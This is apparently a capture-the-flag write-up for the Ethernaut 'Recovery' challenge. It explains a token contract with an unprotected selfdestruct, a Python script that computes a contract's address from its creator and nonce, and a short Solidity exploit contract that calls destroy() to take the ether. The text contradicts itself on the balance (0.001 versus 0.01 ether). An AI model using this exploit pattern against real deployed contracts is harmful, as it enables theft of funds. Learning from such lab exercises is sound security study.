Writeup for Recovery

  • Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. Each challenge involves deploying a contract and exploiting its vulnerabilities. If you’re new to Solidity and haven’t deployed a smart contract before, you can learn how to do so using Remix here.

Challenge Description

In this challenge, a contract creator has built a simple token factory contract. Creating new tokens is a breeze. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. Unfortunately, they have lost the contract address.

To complete this level, your task is to recover (or remove) the 0.001 ether from the lost contract address.

Contract Explanation

Before diving into the exploit part, it’s essential to understand the contract. If you’re new to Solidity, reading the Contract Explanation will provide you with a better grasp of the language.

Click to view source contract
        
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.0;
 3
 4contract Recovery {
 5    //generate tokens
 6    function generateToken(string memory _name, uint256 _initialSupply) public {
 7        new SimpleToken(_name, msg.sender, _initialSupply);
 8    }
 9}
10
11contract SimpleToken {
12    string public name;
13    mapping(address => uint256) public balances;
14
15    // constructor
16    constructor(string memory _name, address _creator, uint256 _initialSupply) {
17        name = _name;
18        balances[_creator] = _initialSupply;
19    }
20
21    // collect ether in return for tokens
22    receive() external payable {
23        balances[msg.sender] = msg.value * 10;
24    }
25
26    // allow transfers of tokens
27    function transfer(address _to, uint256 _amount) public {
28        require(balances[msg.sender] >= _amount);
29        balances[msg.sender] -= _amount;
30        balances[_to] += _amount;
31    }
32
33    // clean up after ourselves
34    function destroy(address payable _to) public {
35        selfdestruct(_to);
36    }
37}

This challenge consists of two contracts: Recovery and SimpleToken. Let’s start with the Recovery contract. It has a single function:

1function generateToken(string memory _name, uint256 _initialSupply) public {
2    new SimpleToken(_name, msg.sender, _initialSupply);
3}

This function creates a new instance of the SimpleToken contract by taking two arguments: a string _name and a uint256 _initialSupply.

Now, let’s move on to the SimpleToken contract.

The SimpleToken contract has two state variables: name (a string) and balances (a mapping of addresses to uint256).

The constructor of SimpleToken takes three arguments: _name (a string), _creator (an address), and _initialSupply (a uint256). It sets the name state variable to the provided _name and assigns the _initialSupply to the balances mapping for the _creator address.

1receive() external payable {
2    balances[msg.sender] = msg.value * 10;
3}

The receive() function is a built-in function in Solidity. It is invoked when someone interacts with the contract without calling any specific function or with data that doesn’t match any function selector. In this case, when someone sends ether to the contract without calling any function, the receive() function is triggered. It sets the balance of the msg.sender (the caller) to the value of the sent ether multiplied by 10.

1function transfer(address _to, uint256 _amount) public {
2    require(balances[msg.sender] >= _amount);
3    balances[msg.sender] -= _amount;
4    balances[_to] += _amount;
5}

The transfer() function allows the transfer of tokens. It takes two arguments: _to (the address to transfer the tokens to) and _amount (the amount of tokens to transfer). Before executing the transfer, it checks if the caller has a sufficient balance. If the balance is enough, it deducts the _amount from the caller’s balance and adds it to the _to address.

1function destroy(address payable _to) public {
2    selfdestruct(_to);
3}

The destroy() function takes an address _to as an argument and calls the selfdestruct() function with _to as the argument. To understand how selfdestruct() works, refer to the concepts section.

Key Concepts To Learn

The main concept to focus on in this challenge is the usage of selfdestruct(). Additionally, you can explore RLP encoding if you’re interested.

selfdestruct() is a built-in function in Solidity. When called, it is supposed to delete the contract bytecode from the Ethereum network and send the contract’s balance to the specified address.

However, due to the implementation of EIP-6780 in the Dencun upgrade on March 13, 2024, the behavior of selfdestruct has changed. It now only sends the contract’s ether balance to the specified address but does not delete the contract bytecode from the Ethereum network.

Deleting the contract bytecode is still possible after the update, but only if selfdestruct is called in the same transaction in which the contract is created.

The address of an Ethereum contract is determined by the creator’s address (sender) and the number of transactions the creator has sent (nonce). The sender and nonce are RLP-encoded and then hashed with Keccak-256.

 1import rlp #python -m pip install rlp
 2from sha3 import keccak_256
 3
 4def get_Contract_Address(sender,nonce):
 5    contract_address = keccak_256(rlp.encode([sender, nonce])).hexdigest()[-40:]
 6    return contract_address
 7
 8
 9sender_address=input("Enter the sender (contract creator) address :")
10nonce=int(input("Enter the Nonce :"))
11sender=sender_address[2:]
12sender=bytes.fromhex(sender)
13print(get_Contract_Address(sender,nonce))

Enter the following in the terminal to download rlp module.

1$ python -m pip install rlp

Enter the address of the Externally Owned Account and enter the nonce of the externally owned account. Whenever you deploy a contract using your wallet or interact with a function that makes state changes for every transaction, the nonce will be increased. You can find your nonce in your wallet or Block Explorer.

Exploit

Enter ctrl + shift + j and open the console, then enter the following:

1> contract.abi

When we enter this, we can find that our instance has only one function named generateToken(). By this, we can say that they have given us the instance of the Recovery contract.

Now our task is to find the address of the SimpleToken contract and call the destroy() function. We can find the address of SimpleToken in two ways. One way is using the block explorer, and another way is calculating the address of SimpleToken with the help of the Recovery contract address and the nonce of the Recovery contract address. First, I will explain how you can find the address using the block explorer.

Click here to open the block explorer. When you click the link, you can find it as shown in the image below:

My Centered Image

In the search bar, search for the address of the Recovery (instance) contract. When you search, you will find it as shown below:

My Centered Image

You can’t find any transactions because no one has invoked any function in this contract. Now click on internal transactions. Once you click, you will find it as shown below:

My Centered Image

Now you can find two contract creations. The one at the bottom is the contract creation of this contract, and the one at the top is this contract creating another contract. This (Recovery) contract created the SimpleToken contract. So the top one is the address of the SimpleToken contract. Click on the contract creation of the top one. Once you click, you will find it as shown below:

My Centered Image

This is the address of the SimpleToken contract. SimpleToken contract has a balance of 0.01 ether. Since we got the address of the SimpleToken, we can call the destroy() function now.

 1
 2// SPDX-License-Identifier: MIT
 3pragma solidity ^0.8.0;
 4
 5interface Itoken{
 6    function destroy(address paayble) external;
 7}
 8
 9contract ExploitSimpleToken{
10
11    Itoken simpleToken;
12    constructor(address _addr){
13        simpleToken=Itoken(_addr);
14    }
15
16    function Exploit()public{
17        simpleToken.destroy(msg.sender);
18    }
19
20}

Deploy this contract, and during deployment, pass the address of SimpleToken to the constructor of the ExploitSimpleToken contract. Then call the Exploit() function. Once the transaction is complete, the challenge will be solved.

Key Takeaways

The Ethereum contract address is generated in a deterministic manner using the creator’s address (sender) and the number of transactions they have sent (nonce). To compute the address, the sender and nonce are encoded using RLP (Recursive Length Prefix) and then hashed with the Keccak-256 algorithm.

***Hope you enjoyed this write-up. Keep on hacking and learning!***